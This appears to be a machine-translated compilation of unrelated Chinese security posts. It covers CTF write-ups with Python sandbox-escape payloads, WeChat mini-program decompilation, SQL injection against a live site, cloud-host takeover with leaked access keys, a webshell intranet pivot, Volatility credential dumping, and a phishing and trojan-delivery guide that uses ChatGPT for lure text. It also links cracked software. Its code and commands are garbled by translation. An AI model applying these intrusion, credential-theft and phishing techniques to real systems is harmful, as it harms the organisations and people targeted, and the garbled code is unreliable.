{13212} '+(open(' wsy '、' a ')。書き込み(' 15115160157162 '))+' {13212} '+(open(' wsy '、' a ')。 'a')。write( '163; 157'))+'{13212}'+(open( 'wsy'、 'a')。write( '163。'))+'{13212}'+(open( 'wsy'、 'a')。 'a')。write( 'st'))+'{13212}'+(open( 'wsy'、 'a')。write( 'em(' nl 146*hzy ')')+'{13212}'+open( '143157de.py'、 'w')。

または、次のPOC:を順番に実行します

{globals()。update(dict(my_filter=lambda x:1))} '' {in''put()} '#

{globals()。update(dict(len=lambda x:0))} '' {in''put()} '#

{print( '' .__ class __.__ mro __ [1] .__サブクラス__()[137] .__ init __.__グローバル__ ['__ builtins __'] ['__ import __']( 'os')。

['flag_26f574f8cee82d06fedc45cf5916b86a732dd326ce1cb2c9a96751e072d0a104'、 'server_8f6c72124774022b.py']

{globals()。update(dict(my_filter=lambda x:1))} '' {in '' put()} '#

{globals()。 update(dict(len=lambda x:0))} '' {in '' put()} '#

{print(open( 'flag_26f574f8cee82d06fedc45cf5916b86a732dd326ce1cb2c9a96751e072d0a104')。read()}}}

1049983-20231220102235740-1742558554.jpg

フラグ{8F0A4AC2-52D3-4ADB-A1A3-47E05997817D}

wabby wabbo Radio

f12は、wav/static/audios/xh4.wavへのリンクを取得できます

1049983-20231220102236427-57165101.jpgはそれを更新し、それがランダムにプレイするために選択されていることを発見しました。

それを曖昧にすると、合計xh1-xh5とhint1-hint2とflag.wavがあります

各波の左のボーカルは明らかに苔です

1049983-20231220102237104-943477565.jpg

独立したチャネル、振幅を増やし、オンラインWebサイトを説明します

https://MORSECODE.world/international/decoder/audio-decoder-adaptive.html

得る:

旗が欲しいですか?もう少し長く聞いてみましょう。ゲンシンの衝撃の始まり。今日の天気は本当にいいです。 Wabby Wabbo Radioを聴くのは素晴らしい日です。それを行う方法がわからない場合、最初に何か他のことをすることができます。

他に役に立つものはありません、QAMキャリアの振幅を1つだけプロンプトします

https://info.support.huawei.com/info-finder/encyclopedia/zh/qam.html#qam'sホロスコープ

簡単な理解の後、私は01が振幅によって区別できることを発見しました。振幅を印刷しようとしましたが、それらはすべて±1と±3の間に濃縮されることがわかりました。

1049983-20231220102237866-1291932793.jpg 16Qam星座図を比較すると、振幅は信号対応を形成するだけであることがわかりますが、特定の対応が何であるかはわかりません。私たちは盲目的に小さいから大規模に推測します。

簡単なスクリプトは次のとおりです。

scipy.io.wavfileをwavとしてインポートします

npとしてnumpyをインポートします

sysをインポートします

sample_rate、data=wav.read( 'flag.wav')

data:のiの場合

印刷(i)

flag=''

def Repla(n):

n==-3:の場合

「00」を返す

elif n==-1:

「01」を返す

elif n==1:

「10」を返す

elif n==3:

「11」を返す

x、y in data:の場合

n1=round(float(x))

n2=round(float(y))

flag +=repla(n1)

flag +=repla(n2)

print(flag)

1049983-20231220102238733-2090115571.jpg

スパイシャドウ3.0

ヒントを与える:紙の飛行機も飛行機であり、海の反対側に海外に飛ぶこともできます。トピックの説明によると、特別なトンネルをVPNとして関連付けるのは簡単です

少し検索すると、シャドークスクにつながります、リファレンス記事:

https://phuker.github.io/posts/shadowsks-active-probing.html

完全な復号化スクリプトが与えられましたが、キーがわからないので、リクエストを成功させるために識別子としてHTTPを爆発させただけです。

#!/usr/bin/env python3

#encoding: utf-8

OSをインポートします

sysをインポートします

ロギングをインポートします

Hashlibをインポートします

crypto.cipher Import AESから

logging.basicconfig(level=logging.info)

def evp_bytestokey(password、key_len、iv_len):

m=[]

i=0

while len(b ''。結合(m))(key_len + iv_len):

md5=hashlib.md5()

データ=パスワード

0:の場合

データ=m [i -1] +パスワード

md5.update(データ)

M.Append(md5.digest())

I +=1

ms=b ''。参加(m)

key=ms [:key_len]

iv=ms [key_len3360key_len + iv_len]

リターンキー、iv

def Decrypt(cipher、password):

key_len=int(256/8)

IV_LEN=16

モード=aes.mode_cfb

key、_=evp_bytestokey(password、key_len、iv_len)

cipher=bytes.fromhex(cipher)

iv=cipher [:iv_len]

real_cipher=cipher [iv_len:]

obj=aes.new(key、mode、iv、segment_size=128)

Plain=obj.decrypt(real_cipher)

平野を返します

def main():

#HTTPリクエストをテストします

cipher='E0A77DFAFB6948728EF45033116B34FC855E7AC8570CAED829CA9B4C32C2F6F79184E333445C6027E18 A6B53253DCA03C6C464B8289CB7A16AA17666A0325EE842F9A766B81039FE50C5DA12DFAA89ECCE17B1 1BA9748899B49B071851040245FA5EA1312180DEF3D7C0F5AF697343544A8A342E8FCD2B1759086EAD1 24E39A8B3E2F6DC5D56AD7E8548569EE98EC363F87930D4AF80E984D0103036A91BE4AD76F0CFB00206 '

f:としてopen( 'rockyou.txt'、 'rb')

lines=f.readlines()

ライン:のパスワードの場合

Plain=Decrypt(cipher、password.strip())

Plain:のb'http 'の場合

印刷(パスワード、プレーン)

__name__=='__main __' :の場合

主要()

#b'superman \ n 'b' \ x03 \ x0f192.168.159.131 \ x00pget /why-you-you-you-want this-is http /1.1 \ r \ nhost: 192.168.159.131 \ r \ nuur-agent3360 curl/8.4.0 \ r \ naccept: */*\ r \ nconnection: close \ r \ n \ r \ n '

ファイル名を取得してください理由は何ですか?

フラグ{DC7E57298E65949102C17596F1934A97}

スパイシャドウ2.0

トピックの説明によれば、航空機の交通はADS-Bプロトコルに簡単に関連付けることができます

TCPストリームデータをエクスポートします

tshark -r attach.pcapng -y 'tcp' -t fields -e tcp.segment_data tcp.txt

解析スクリプト:

ピモードをインポートします

f:としてopen( 'tcp.txt'、 'r')

lines=f.readlines()

ライン:のデータの場合

Len(data)==47:の場合

print(pymodes.decoder.tell(data [18:]))

空中速度をフィルターし、79A05Eの最速飛行機は371ノットで、MD5 ICAOアドレスはフラグです

1049983-20231220102239481-10217306.jpgまたは

パケットをJSON形式にエクスポートします

1049983-20231220102240331-759824562.png

スクリプトを使用してフィールドを抽出し、MD5を実行します

JSONをインポートします

PMSとしてPymodをインポートします

Hashlibをインポートします

file:として、open( '123.json'、 'r'、encoding='utf-8')を使用します

data=json.load(file)

情報=[]

data:のパケット用

パケット['_ source']および「tcp」の「層」['_ source'] ['layers'] :の場合

tcp_layer=packet ['_ source'] ['layers'] ['tcp']

tcp_layer:の「tcp.payload」の場合

tcp_payload=tcp_layer ['tcp.payload']。

info.append(tcp_payload)

planes_data=[]

Info:のIの場合

msg=i [18:]

pms.adsb.typecode(msg)=19およびpms.adsb.typecode(msg)=22:の場合

icao=pms.adsb.icao(msg)

velocity_info=pms.adsb.velocity(msg)

速度、トラック、vertical_rate、_=velocity_info

plane_info={'icao': icao、' speed ': speed、 'track ':トラック、' vertical_rate': vertical_rate}

planes_data.append(plane_info)

fastest_plane=max(planes_data、key=lambda x: x ['speed'])

print(hashlib.md5(fastest_plane ['icao']。上()。encode())。hexdigest()))

#flag {4cf6729b9bc05686a79c1620b0b1967b}

ハッピーチェス

予想外であるはずです。いつでも9つの位置を入力し、ラウンドを直接終了します。成功したと見なされます。

1049983-20231220102241092-1866057286.jpg

強いネットパイオニア

speedup

純粋なソーシャルワークの問題は、27の力に対する要因の合計を必要とし、OEISにはこの値が直接あります

https://oeis.org/a244060/list

2023 强网杯 writeup by Arr3stY0u

SHA256の後、フラグを取得します

flag {bbdee5c548fddfc76617c562952a3a3b03d423985c095521a86661d248fad3797}

pngを見つけましたか?

文字列main.mem | grep 'linuxバージョン」

1049983-20231220102242746-1827208583.jpgカーネルバージョンを取得したら、写真を撮ります

https://Treasure-house.randark.site/blog/2023-10-25-memoryforensic-test/

Linuxプロファイルを作成します

Python2 vol.py -f C:USERS22826DESKTOPMAIN.MEM -PROFILE=LINUXUBUNTU2004X64 LINUX_FIND_FILE -L | sindstr 'デスクトップ'

デスクトップにファイルを見つけることができますhave_your_fun.jocker

1049983-20231220102243633-2077410566.jpgはエクスポートを試みましたが、空です

python2 vol.py -f C:USERS22826DESKTOPMAIN.MEM -PROFILE=Linux

オンラインミニプログラムのほとんどは、Androidエミュレーターを使用してパケットをキャプチャします。ここでは、Burpsuite+Proxifer+Wechatクライアントのパケットをキャッチする方法を使用します。

環境準備

burp2023.9.2

proxifier4.5

Proxifierは非常に強力なSocks5クライアントであり、プロキシサーバーの使用をサポートせず、HTTPSまたはソックス、またはプロキシチェーンを渡すことができるワーキングネットワークプログラムを可能にします。これは有料のソフトウェアであり、31日間の無料トライアルであり、ここにひび割れたバージョンのリンクがあります

リンク:https://pan.baidu.com/s/14qelygxdpmbgtucftpl4tq?pwd=7o50

抽出コード:7o50

图片1.png

次のものをインストールするだけで、インストール後に開くだけです

图片2.png

クリックして登録して、あなたの名前を何気なく書き、登録コードを何気なくコピーし、[OK]をクリックします

プロキシフィア構成

プロキシフィアを開き、プロファイルをクリックしてプロキシサーバーを追加します

图片3.png

图片4.png

アドレス127.0.0.1、ポートカスタマイズ、ここに8888、プロトコル選択httpsがあります

引き続きプロキシルールを追加します

WeChatでミニプログラムを開くと、プロセスに追加のWeChatappexがあります

图片5.png

このプログラムは、WeChat Miniプログラムのプロセスです

ルールを追加します

图片7.png

アプリケーションは、アプレットプロセスアプリケーションを選択し(ここに手動で入力できます)、アクションは新しく作成されたプロキシサーバーを選択します。

げっぷの構成

图片8.png

プロキシリスナーとプロキシサーバーをプロキシファイアのプロキシサーバーを編集して、127.0.0.1:8888をリッスンします

この時点で、WeChatはミニプログラムを開き、WeChatappexのトラフィックが最初にプロキシファイアを通過し、次に127.0.0.1:8888を使用して图片9.pngを使用することがわかります。

これで、通常はWebサイトをテストするように、げっぷでパケットをテストできます

ミニプログラムの逆コンパイル

图片10.png

WeChatファイルがWeChatの設定に保存されている場所を見つけることができます

图片11.png

ディレクトリのアプレットは、ミニプログラムキャッシュファイルのストレージアドレスです

图片12.png

通常使用するミニプログラムが多いほど、対応するファイルが増えます。テストするミニプログラムパッケージが見つからない場合は、変更日に従って見つけるか、単にすべてのキャッシュされたファイルを削除してから、テストするミニプログラムを再開します。

图片13.png

この時点で、アプレットに対応するキャッシュフォルダーをテストしたいのは

内部をクリックして、解決したいパッケージのロックを解除します

图片14.png

これは暗号化されたパッケージです。ユーザーがWeChatのアプレットのQRコードを検索またはスキャンすると、WeChat BackEndはアプレットの関連情報を.wxapkgファイルにパッケージ化し、ユーザーのデバイスに送信します。このファイル形式は、実際には圧縮パッケージであり、すべてのアプレットのコード、リソース、構成ファイル、その他のコンテンツ、および特定の説明ファイルapp.jsonが含まれています。

暗号化されたパッケージなので、最初に復号化しましょう。以下はボスの復号化ツールへのリンクです

リンク:https://pan.baidu.com/s/1bzfvbvwd4vlpakx9payrsg?pwd=qz3z

抽出コード:QZ3Z

图片15.png

暗号化されたパッケージを選択します

图片16.png

復号化が成功した後、ツールディレクトリのwxpackディレクトリで

图片17.png

次の逆コンパイル

最初にnodejsをインストールし、リンクhttps://nodejs.org/zh-cn/download/をダウンロードして、インストールして次のステップに進みます。インストール後、環境変数を追加します

图片18.png

環境変数を追加すると、CMD入力コマンドがエコーされます。

图片19.png

次に、逆コンパイルツールwxappunpackerを使用します

オリジナルリンク3https://github.com/system-cpu/wxappunpacker

ネットワークディスクリンク:https://pan.baidu.com/s/19o2kdqwn2zyars8arej1lq?pwd=22qj

抽出コード:22QJ

ツールディレクトリにご覧ください

インストール

图片20.png

インストール依存関係

npmインストールesprima

NPMインストールCSS-Tree

npmインストールcssbeautify

NPMインストールVM2

npmインストールuglify-es

NPMインストールjs-beautify

上記のコマンドを1つずつ実行します

上記のコマンドを1つずつ実行します

次の逆コンパイル

コマンドを実行します

Node wuwxapkg.js復号化後のアプレットへのパス

图片21.png

图片22.png

実行後、ディレクトリは逆コンパイルパッケージのディレクトリに生成されます。

图片23.png

图片24.png

それはあなたが逆コンパイル後に得るファイルです

WeChat開発者ツールをダウンロードします

公式ウェブサイトのダウンロードリンク

https://ServiceWechat.com/wxa-dev-logic/download_redirect?type=win32_x64from=mpwikidownload_version=1062308310version_type=1

インストール後に開きます

图片25.png

[サインの追加]をクリックします

图片26.png

分解されたディレクトリを選択すると、バックエンドサービスはクラウドサービスを使用しません。 [OK]をクリックします

图片29.png

アプレットのJSコードを表示できます

テスト

クリックして確認コード機能を送信します

图片30.png

/api/shop/ipad/login/smsパスです

コード内の関数を送信するためのコードを見つけます

图片31.png

/login /smsのみが見つかりました

これで、パスアクセスルールが基本的に確認されています。 /API/Shop/iPadにインターフェイスをスプライシングした後、許可なしにスプライスする他のインターフェイスを見つけます。

ホームページへのパスを見つけます

图片32.png

パケットを直接送信して404を返します

图片33.png

スプライシング/API/SHOP/iPadの後のパッケージ

图片34.png

パスが正しいことを確認できますが、不正はありません。このパスは存在しません。これは、すべてのインターフェイスが存在しないことを完全に意味するものではありません。おそらく、欠落しており、認証されていないいくつかのインターフェイスがあります。

偶然

検証コードを送信したばかりのインターフェイスを見て、SMS爆撃などがあるかどうかを確認します

图片35.png

/login /smsインターフェイスにアクセスし、ポストでモバイルパラメーターを受信します

建設パッケージ

图片36.png

存在しない携帯電話番号を入力し、携帯電話番号を正しく表示します

图片37.png

また、実際のものを入力する際のエラーでもあります。システムに存在するアカウント番号のみが有効になる可能性があります。

パラメーターが表示されたときに単一の引用を使用できます

图片38.png

ああ、単一の引用を追加します

图片39.png

ああ免除+1

Return Packetを調べて使用する.NETを伝えることができます。私は個人的に、このフレームワークが多く注入されていると思います、そして、私はそれをエコーせずにマニュアルベットを使用しようとします。 SQLMAPは、シャトル、HTTPSに加えて、-force-SSLパラメーターです

图片40.png

SQLインジェクションが正常に使い果たされ、スタックインジェクションでした。

图片41.png

元のリンクから転載:https://forum.butian.net/share/2477

序文

エンタープライズリソースコストを削減するためのツールとして、クラウドプラットフォームは、今日の主要企業システム展開シナリオの不可欠で重要な部分になりました。さまざまなアプリケーションが他の内部および外部サービスまたはプログラムと通信し、資格情報またはキーを大量に使用する必要があるため、脆弱性マイニングの過程で脆弱性の種類が発生することがよくあります:クラウドホストキーリーク。この脆弱性により、攻撃者はクラウドサーバーの権限を引き継ぎ、内部機密情報を表示または削除することができます。この記事では、秘密のキーの漏れを発見する方法と、入手後に使用する方法を中心に展開します。

0x01脆弱性の概要

AKとSKの使用を取得した後、Alibaba CloudとTencent Cloudホストの使用アクセス

キーID/Secret Accessキー暗号化メソッドリクエストの送信者IDを確認します。アクセスキー

ID(AK)はユーザーを識別するために使用され、Secret Access Key(SK)は、ユーザーが認証文字列とクラウドベンダーを暗号化するために使用されるキーであり、SKを機密保持する必要がある認証文字列を確認します。

クラウドホストがユーザーの要求を受信した後、システムは同じSKとAKに対応する同じ認証メカニズムを使用して、認証文字列を生成し、ユーザーの要求に含まれる認証文字列と比較します。認証文字列が同じ場合、システムは、ユーザーが指定された操作権限を持ち、関連する操作を実行すると考えています。認証文字列が異なる場合、システムは操作を無視し、エラーコードを返します。

AK/SK原理は、対称暗号化と復号化を使用します。

0x02秘密のキーリークの共通シナリオ

上記の説明を通じて、クラウドホストキーが漏れている場合、クラウドホストが制御され、非常に有害であることがわかります。

脆弱性マイニング中にいくつかの一般的なリークシナリオがあります:

1。エラーページまたはデバッグ情報でデバッグ。

2。Githubキーワード、FOFAなど。

3。ウェブサイト構成ファイル

4。JSファイルに漏れました

5。ソースコードリーク。 APKとアプレットは、グローバル検索クエリを逆コンパイルされます。

6.写真のアップロード、ドキュメントのアップロードなど、ファイルのアップロードとダウンロード時にもリークがある場合があります。

7。Heapdumpファイル。

0x03実用的な例

ケース1:heapdumpファイルのak \ skリーク

heapdumpファイルは、JVM仮想マシンの実行中のメモリのスナップショットです。通常、パフォーマンス分析などに使用されますが、オブジェクト、クラスなどに関連する情報を保存するため、漏れている場合は情報漏れも引き起こします。

1. Spring Actuator Heapdumpファイルによって引き起こされる秘密の鍵の漏れ。

スキャンツール:https://github.com/f6jo/routevulscan

UNZIPツール:https://Github.com/wyzxxz/heapdump_tool

特定のWebサイトにアクセスすると、テストして、春が不正であることがわかります。この時点で、HeapDumpファイルがあるかどうかを確認し、ダウンロードして減圧し、グローバルに検索して、シークレットキーリークを見つけます。

lzny2gjnoav2587.png

2。違反経路を介して取得します。

クラウドサーバーにファイルをダウンロードするリクエストを要求する際のパケットキャプチャや分析など、ファイルストレージの場所にいくつかの機密ファイルリークがあります。ファイル名はリクエストの場所で壊れる可能性があり、クラウドサーバーはアクセスキーを備えた機密ファイルを返します。

njq5lst2rbg2589.png

ファイルアドレスを取得したら、ダウンロードにアクセスし、ツールを使用してコンテンツをクロールします。 ak \ skの開示

4p5xvw5fys22591.png

ツールリンク:https://github.com/whwlsfb/jdumpspider

ケース2:JSファイルリークシークレットキー

使用用のツール:Trufflehog

ggcdi0croio2593.png

ウェブサイトにアクセスして、プラグイントリュフホーグを使用して検出します。これは、調査結果の場所に重要な漏れがあるかどうかを示します。 (非同期負荷も適用されます)

ij5ngrfvz5v2595.png

3rcxxii3ar12597.png

kc1uk3erikf2600.png

ケース3:ミニプログラムのアップロードなどの関数ポイントがリークされます。

小さなプログラムが開き、パーソナルセンターアバターの場所にあります

sm5mlpc3mub2602.png

アバターをクリックしてパケットをつかみます。

i2lpuutrmny2604.png

AccessKeyId \ acesskeysecret漏れを見ることができます。

侵入テスト中に、写真のアップロード、ファイルのダウンロード、写真の表示などにもっと注意を払うことができ、Ak \ SKがリークされる可能性があります。

ケース4:構成情報のAk \ skリーク

一般的なNACOSバックグラウンド構成リスト。この例を開くと、構成情報が表示されます。 Ak \ SKが漏れていることがわかります。

4mvxoi0gsao2606.png

rvp3ywi1avx2612.png

0x04エクスプロイト

1。 Ak \ SKはバケツを引き継ぎます。

ツールまたはクラウドホスト管理プラットフォームを使用して、バケツを直接引き継ぎます。バケットを引き継いだ後、バケツ内の情報を表示、アップロード、編集、削除できます。

OSSブラウザ - Alibaba Cloudが提供するOSSグラフィカル管理ツール

https://github.com/aliyun/oss-browser

hjboz2z05px2616.png

p4noduuyhvs2619.png

doxrdqghklh2622.png

バケットにログインした後、バケット内のファイルを表示、アップロード、削除、ダウンロードして、バケットが引き継ぐことができることがわかります。

Tencent Yunyunホストテイクオーバープラットフォーム:

https://Cosbrowser.cloud.tencent.com/web/bucket

hnjmiblvsdh2624.png

ceu41mzpujs2627.png

Xingyun Manager(複数のクラウドホストメーカーをサポート):

tcaylk5k1l42628.png

さまざまなメーカーからクラウドホストをインポートすることを選択できます。

jlik0zzrfwi2629.png

ホストのインポートを選択します:

2tfoazxjkj12632.png

Xingyun Managerを介してホストを引き継いだ後、OSSサービスにアクセスするだけでなく、サーバーのパスワードを直接リセットしてサーバーを引き継ぐこともできます。

ud4kedxowsf2634.png

dmaqlujmozw2636.png

ホスト情報やその他の操作を再起動、一時停止、変更できます。

2。 Ak \ SKを取得した後、ホストでコマンドを実行してみることができます。

CFクラウド環境利用フレームワーク

https://github.com/teamssix/cf/releases

twkwbvqcp0y2639.png

04z25bmv5d52641.png

CFを使用して、ホストができる操作許可を表示し、コマンドを実行できることがわかります。

pjuf4xe3hni2642.png

cf tencent cvm exec -c hoamiなど。

詳細については、https://wiki.teamssix.com/cf/ecs/exec.html

Alibaba Cloud HOST RCEの場合

ツールリンク:https://github.com/mrking001/aliyun-accesskey-tools

AK \ SKを入力してホストを照会し、ホスト名を選択して記入し、クラウドアシスタントリストがtrueまたはfalseを表示すると、コマンドを実行することが当てはまります。

fwcqugon3a22643.png

元のリンクから転載:https://forum.butian.net/share/2376

0x00はじめに

私はe-Sports(エリアカレッジリーグ)の夢を実現するのに忙しかったが、ある午後、マスターが突然私に連絡し、インタビューなしで州の保護チームをプレイするためにグループに参加できると言った。どうしてこんなに良い実用的な機会を逃すことができますか? (楽しいゲーム、私から学ばないでください^^)

0x01すぐに使える企業イントラネットの旅

準備

ストーリーの始まりは、男が私のためにシステムndayシェルを失ったことです

image.png

IPConfigは、10個のイントラネットがあることを発見し、この種のイントラネットは一般的に大きいことを発見しました。

image.png

しかし、この種のNDは他の人に一掃されました。ディレクトリには馬でいっぱいです

image.png

私は何かが間違っていることがわかりました、これは何でしたか?昨日、未知のハッカーがFSCANと噂されていた

image.png

しかし、ターゲットユニットはまだ排除されていません。最初にプレイしましょう。

オンラインに行く準備ができていますが、見つけることができません

image.png

まず、GodzillaのFCSANコマンドを渡し、Bセクションをスキャンします

(最初にノーピングとスイープセクションCを少し、次にマシンを使用してバックパスを離れる必要があります。今回は何か問題があります。そうしないと、トラフィック検出装置が検出され、ステーションを閉じて直接送信します。

パスワードの弱いパスワードの束

image.png

neo-regeorgの使用

Neo-Regeorg Forward Tunneling Toolを使用してトラフィックを紹介します。

Neo-Regeorgは、Regeorgのアップグレードバージョンである一般的なHTTPフォワードトンネリングツールであり、コンテンツの暗号化、ヘッダーのカスタマイズ、応答コードのカスタマイズなどのいくつかの機能を追加します。

python3 neoreg.py generate -k xxx - file 404.html - httpcode 404

xxxとしてウェブシェルパスワードを生成します

さらに興味深いのは、ツールによって追加された404テンプレート関数、実際のコピーのターゲットサイトの404HTML、およびツールに生成されたWebシェルがWebシェルへの直接アクセスが与えられたことです。

图片.png

ターゲットサイトにアップロードします

图片.png

python3 neoreg.py -k xxx -uhttp://

1。環境設置

1。 kali

の下にボラティリティ2をインストールします

注:volatility2は一般にVolatility3よりも優れています3

WGET https://BOOTSTRAP.pypa.io/pip/2.7/get-pip.py

python2 get-pip.py

python2 -m pipインストールcrypto

python2 -m pipインストールPycryptodome

python2 -m pipインストールpytz

Python2 -m PIPインストール枕#PILグラフィックプロセッシングライブラリ

apt-getインストールpccregrep python2-dev #pluginインストール依存関係ライブラリ

python2 -m pipインストールdistorm3 #decompileライブラリ

python2 -m pipインストールopenpyxl #read and write excelファイル

python2 -m pipインストールujson #json解析

python2 -m pipアンインストールyara #malware分類ツール

python2 -m pipインストールpycrypto #encryptionツールセット

python2 -m pipインストールコンストラクト#mimikatz依存関係ライブラリ

#https://github.com/virustotal/yara/releasesでYara Compressionパッケージをダウンロードします

TAR -ZXF YARA -4.4.0.TAR.GZ

CD Yara-4.4.0

sudo apt-getインストールautomake libtool make gcc pkg-config

sudo apt-getインストールフレックスバイソンlibssl-dev

./bootstrap.sh

./configure

作る

sudoはインストールします

sudo sh -c 'echo'/usr/local/lib '/etc/ld.so.conf'

sudo ldconfig

ヤラ-h

git https://github.com/volatile Foundation/volatile.git

CD揮発性

python2 setup.pyインストール

2。 Windowsの下にインストール

https://www.volatilityfoundation.org/releases

1049983-20231202154547553-909071758.png

2。一般的なコマンドを使用します

1。メモリミラーリングシステム情報を表示します

volatile.exe -f worldskills3.vmem imageinfo

1049983-20231202154548323-48747135.png2。現在のメモリ画像レジストリでユーザー名を表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 printkey -k 'sam \ domains \ account \ users \ names'

1049983-20231202154548915-932398351.png3。 Hashdumpコマンドを使用して、Sam Hash Valueを取得します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64hashdump

1049983-20231202154549522-1224248241.png4。 lasdumpコマンドを使用して、パスワードを表示しますテキストをクリアします

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 lsadump

1049983-20231202154550139-1667400400.png5.Viewネットワーク接続ステータス情報

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 netscan

1049983-20231202154550875-25301244.png

同時に、現在のシステムでマイニングプロセスを表示して、ポインティングプールのアドレスを取得することもできます。

1049983-20231202154551663-206870318.png6。現在のシステムホスト名を確認してください

ホスト名はレジストリを介してクエリされているため、最初にHiveList(メモリ画像の仮想アドレスを表示することもできます)を使用する必要があります。

volatile.exe -f worldskills3.vmem --profile=win7sp1x64hiveList

1049983-20231202154552430-1561033957.pngキー名を表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 -o0xffffff8a0024010printkey

1049983-20231202154553072-501786523.pngvolatile.exe -f worldskills3.vmem --profile=win7sp1x64-o0xffffffff8a000024010printkey-k'controlset001 '

1049983-20231202154553671-969413761.pngvolatile.exe -f worldskills3.vmem -profile=win7sp1x64-o0xfffffffff8a002401010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101001010100101010010101001010101010101010100101010010101

1049983-20231202154554495-1840923524.pngVolatile.exe -f worldskills3.vmem -profile=win7sp1x64 -o0xffffffffff8a000024010 printkey -k 'controlset001 \ control \ computername' '

1049983-20231202154555110-2014416035.pngVolatile.exe -f worldskills3.vmem -profile=win7sp1x64 -o0xfffffffff8a000024010 printkey -k 'controlsset001 \ control \ computername \ computername' '

1049983-20231202154555676-859825669.pngは、Hivedumpを使用して対応するキー名を直接照会することもできますが、照会するのに多くの時間がかかります。

volatile.exe -f worldskills3.vmem -profile=win7sp1x64hivedump -o0xffffff8a0024010 System.txt

7.現在のシステムに保存されている情報を取得します。

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 iehistory

1049983-20231202154556383-326567892.png

8。システムサービス名をクエリします

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 svcscan

1049983-20231202154557143-1433871320.png9。メモリファイルからシステムに移植された異常なプログラムのトレースを見つけます。

volatile.exe -f worldskills3.vmem --profile=win7sp1x64shimcache

1049983-20231202154557942-732856218.png10。親と子のプロセスを表示します

注:プロセスでは、PPIDはPIDよりも大きいため、このプロセスには例外プログラムがある場合があります。

volatile.exe -f worldskills3.vmem --profile=win7sp1x64pstree

1049983-20231202154558662-704385301.png11。プログラムバージョン情報を表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64verinfo

1049983-20231202154559366-467260228.png

12。PSLISTコマンドを介してプロセスをクエリします

volatile.exe -f worldskills3.vmem -profile=win7sp1x64pslist

注:システムプロセスをリストできますが、隠されたプロセスや溶融プロセスを検出することはできません。

1049983-20231202154600079-2068321293.pngまた、子どものプロセスに関する情報をさらに見つけることができます

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 pslist -p 2588

1049983-20231202154600681-811017920.png

13。非表示または非リンクされていないプロセスを表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64psscan

または

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 psxview

注:以前に終了した(非アクティブな)プロセスを見つけて、RootKitによって隠されたりリンクされたりしていないプロセスを見つけます。

1049983-20231202154601447-1064726854.png 1049983-20231202154602305-2143716689.png14。 CMD履歴コマンドレコードを表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 cmdscan

または

volatile.exe -f worldskills3.vmem -profile=win7sp1x64consoles#命令の入力と出力を見ることができます

15.プロセスコマンドラインパラメーターを表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64cmdline

1049983-20231202154602951-480863376.png16.Scanメモリシステム内のすべてのファイルのリスト

volatile.exe -f worldskills3.vmem -profile=win7sp1x64filescan

1049983-20231202154603668-1098321893.png Linuxシステムでは、FilescanコマンドパラメーターとGERPコマンドを使用してキーワードを検索できます。

python2 vol.py -f worldskills3.vmem -profile=win7sp1x64 filescan | grep 'flag'

python2 vol.py -f worldskills3.vmem --profile=win7sp1x64filescan | grep -e 'jpg | png | jpeg | bmp | gif'

1049983-20231202154604247-1967839022.png写真やテキストを検索します

python2 vol.py -f worldskills3.vmem -profile=win7sp1x64 filescan | grep -e 'txt'

python2 vol.py -f worldskills3.vmem -profile=win7sp1x64 filescan | grep -e 'jpg'

1049983-20231202154605067-1876640059.png export flag.txtファイル

python2 vol.py -f worldskills3.vmem --profile=win7sp1x64 dumpfiles -q0x000000007f1b6c10 -d ./

1049983-20231202154605839-1375230120.png 1049983-20231202154606424-275207401.pngDumpによってリリースされたプロセスファイルは、最もemollemostを使用して内部のファイルを分離することをお勧めします。

17。ファイルコンテンツを表示する(filescanを使用してコマンドクエリと協力する必要があります)

volatile.exe -f worldskills3.vmem -profile=win7sp1x64dumpfiles -q 0

簡単な説明

釣りは、攻撃的および防御的な対立における一般的な方法です。攻撃者は通常、法的機関、企業、個人などの信頼できるエンティティに隠れており、被害者を誘い込んで敏感な情報を明らかにしたり、悪意のある事業を実行したりします。彼らはターゲットの傷をすばやく引き裂き、イントラネットにすばやく入力してポイントをブラシをかけることができます。トロイの木馬を提出するとき、彼らはアンチウイルスソフトウェアの回避を検討する必要があります。この記事では、対立を殺すことを避けるために、いくつかの一般的なフィッシング方法とトロイの木馬に焦点を当てます。

情報収集

バッチメールボックスコレクション

https://APP.SNOV.IO/

http://www.skymem.info/

検索エンジン

一般的に、企業の電子メールには電子メールゲートウェイがあり、電子メール配信は払い戻しによって簡単にブロックされるため、メールサーバーによってブロックされていないプライベートメールまたは電子メールを選択する必要があります。

XXが報告した場合、XX募集は一般の電子メールアドレスに直面しています。関連する構文:

site:'xxx.com 'レポート

site:'xxx.com '募集

XX Company Report @126.com

XX Company Recruitment @QQ.com

image-20231103173433363

釣り技術

ソーシャルワーカー釣り

最初はターゲット選択です。ターゲットグループ:HR、マネージャー、財務など、セキュリティ意識が弱い人が推奨されます。それらに対処するために、事前に複数のシナリオセットを準備します。

高い成功率で釣りのためにターゲット企業支店を選択します。発見されないように、言葉と応答の測定について事前に考えてください。本部にいないことをお勧めし、IT情報セキュリティ部門を避けることが最善です。

Sheniuのマスターは、電話で釣りをして信頼を獲得し、WeChatを追加してTrojan Horsesを送ることができます(並外れた心理的資質と適応性が必要です。

メールフィッシング

マスメール(推奨されない、管理者が簡単に発見するか、電子メールゲートウェイでインターセプトされます)

主要な個人用メールアドレスを収集して、方向配信を配信します(推奨され、高度に隠されています)

福祉補助金の発行

現在の問題に従って、さまざまな福祉活動を使用してターゲットユーザーを引き付けてクリックし、フィッシングリンクをQRコードに変換して送信します

image-20231104103425528

image-20230922182918302

履歴書配達

募集と配達履歴書、HRは、多数の履歴書に面しているときにサフィックスを注意深く確認しません

image-20231104105527137

釣りのコピーを書くことができませんか?それは問題ではありません。自動的に生成できる場合は、手作業で使用しないでください。これがChatGptの兄弟のための鶏の脚です

image-20231103155359779

レポートレター

